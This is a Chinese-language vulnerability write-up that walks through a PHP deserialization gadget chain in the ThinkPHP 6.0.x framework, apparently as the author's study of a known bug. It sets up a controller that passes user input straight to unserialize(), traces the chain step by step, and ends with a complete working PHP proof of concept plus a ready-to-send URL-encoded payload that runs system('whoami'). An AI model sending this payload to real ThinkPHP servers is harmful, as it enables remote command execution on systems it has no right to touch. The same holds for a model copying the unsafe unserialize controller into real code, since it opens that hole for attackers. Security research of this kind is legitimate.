ThinkPHP v6.0.x 反序列化

0x01 環境搭建

使用composer進行安裝:

composer create-project topthink/think=6.0.x-dev TPv6.0
cd TPv6.0
php think run

定義入口文件app\controller\Index.php

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index($payload='')
    {   
        //echo $payload;
        unserialize($payload);   
    }
}

0x02 __destruct鏈分析

(1)尋找__destruct()

反序列化POP鏈的起點通常是__destruct()函數,這次漏洞的觸發點位於vendor\topthink\think-orm\src\Model.phpModel類的__destruct析構函數:
在這裏插入圖片描述
當滿足$this->lazySave==true時,將會調用$this->save(),繼續跟進。

(2)跟進save()

在這裏插入圖片描述
首先要想不被return掉,需要滿足下面整個if語句:

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
	return false;
}
  • 先跟進$this->isEmpty():只需要滿足$this->data不爲空即可。
    在這裏插入圖片描述
  • 再跟進$this->trigger():只需要滿足$this->withEvent == false即可返回true。
    在這裏插入圖片描述
    在通過if語句之後,會進入到:
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

$this->exists == true時進入$this->updateData();當$this->exists == false時進入$this->insertData()

分別跟進,發現updateData()存在繼續利用的點,所以需要$this->exists == true,跟進分析。

(3)跟進updateData()

在這裏插入圖片描述
這裏下一步的利用點存在於$this->checkAllowFields()中,但是要調用該函數,需要通過①②兩處的if語句:
① 與之前save()中的一樣,只需要令$this->withEvent == false即可通過。
② 需要$data == 1,所以我們跟進$this->getChangedData()看一下:
在這裏插入圖片描述
只需要令$this->force == true,即可直接返回$this-data,而我們之前也需要設置$this-data爲非空。

回到updateData()中,之後就可以成功調用到了$this->checkAllowFields()

(4)跟進checkAllowFields()

在這裏插入圖片描述
下一步的利用點在$this->db()中,所以我們需要令$this->field$this->schema均爲空才能調用到它:
在這裏插入圖片描述
但可以看到這兩個地方默認爲空,所以不需要進行構造,然後進一步跟進$this->db()

(5)跟進db()

在這裏插入圖片描述

可以看到這裏已經存在了用.進行字符串連接的操作了, 所以把$this->table$this->suffix 設置成響應類對象就可以觸發__toString()了。

(6)__destruct()鏈小結

目前爲止,前半條POP鏈已經完成,即可以通過字符串拼接去調用__toString(),所以先總結一下我們需要設置的點:

$this->data不爲空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true

調用過程如下:
在這裏插入圖片描述
但是還有一個問題就是Model類是抽象類,不能實例化。所以要想利用,得找出Model類的一個子類進行實例化,這裏可以用Pivot類進行利用。
在這裏插入圖片描述

0x03 __toString()鏈分析

(1)尋找__toString()

既然前半條POP鏈已經能夠觸發__toString(),下面就是尋找利用點。這次漏洞的__toString()利用點位於vendor\topthink\think-orm\src\model\concern\Conversion.php中名爲Conversion 的trait中。
在這裏插入圖片描述
很簡單,跟進toJson()

(2)跟進toJson()

在這裏插入圖片描述
沒什麼好說的,繼續跟進toArray()

(3)跟進toArray()

在這裏插入圖片描述

$date進行遍歷,其中$key$date的鍵。默認情況下,會進入第二個elseif語句,從而已$key作爲參數調用getAttr()函數。

接着跟進getAttr()

(4)跟進getAttr()

位於vendor\topthink\think-orm\src\model\concern\Attribute.php中:
在這裏插入圖片描述
$value返回自$this->getData(),且參數爲toArray()傳進來的$key,跟進一下getData()
在這裏插入圖片描述
繼續跟進getRealFieldName()
在這裏插入圖片描述
當滿足$this->strict == true時(默認爲true),直接返回$name,也就是最開始從toArray()中傳進來的$key值。

getRealFieldName()回到getData(),此時$fieldName即爲$key。而返回語句如下,實際上就是返回了$this->data[$key]
在這裏插入圖片描述
然後再從getData()回到getAttr(),最後的返回語句如下:

return $this->getValue($name, $value, $relation);

這時參數$name則是從toArray()傳進來的$key,而參數$value的值就是$this->data[$key]

繼續跟進一下getValue()

(5)跟進getValue()

在這裏插入圖片描述
首先$fieldName的值來自經過getRealFieldName()處理的$key值,而當$this->strict == true時,是不做處理直接返回的,所以$fieldName的值就爲$key

跟進一下getRealFieldName()
在這裏插入圖片描述
然後需要通過兩個if語句,滿足的條件爲:$this->withAttr數組存在和$date一樣的鍵$key,並且這個鍵對應的值不能爲數組。

這樣的話,就會把$this->withAttr[$key]withAttr數組$key鍵對應的值)當做函數名動態執行,參數爲$this->date[$key]

例如:

$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"]; 

實際上最後執行的即爲system('whoami')

(6)__toString()鏈小結

至此,後半個POP鏈也構造完成,小結一下需要構造的點:

trait Attribute
{
    private $data = ["axin" => "dir"];
    private $withAttr = ["axin" => "system"];
}

除此之外還需要將前面說的table聲明爲Pivot類對象,從而將兩個POP鏈串聯起來。

第二個POP鏈調用過程如下:
在這裏插入圖片描述

0x04 POC

最終POC如下:

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["Lethe" => "whoami"];
    private $withAttr = ["Lethe" => "system"];
}

namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

運行得到payload:

O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7D

結果如下:
在這裏插入圖片描述

0x05 後記

第一次對ThinkPHP框架進行真實漏洞的審計,參考着大佬們的分析文章才弄明白了。其實一步一步理解這個反序列化漏洞的流程並不是特別困難,主要還是自己對ThinkPHP框架不熟悉、對PHP命名空間的概念也不是特別清晰,導致在編寫POC的過程中遇到了些問題。之前一直處於只做CTF題目的狀態,以後還是得要多做做代碼審計,找個時間把thinkphp手冊過一遍吧,tcl。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章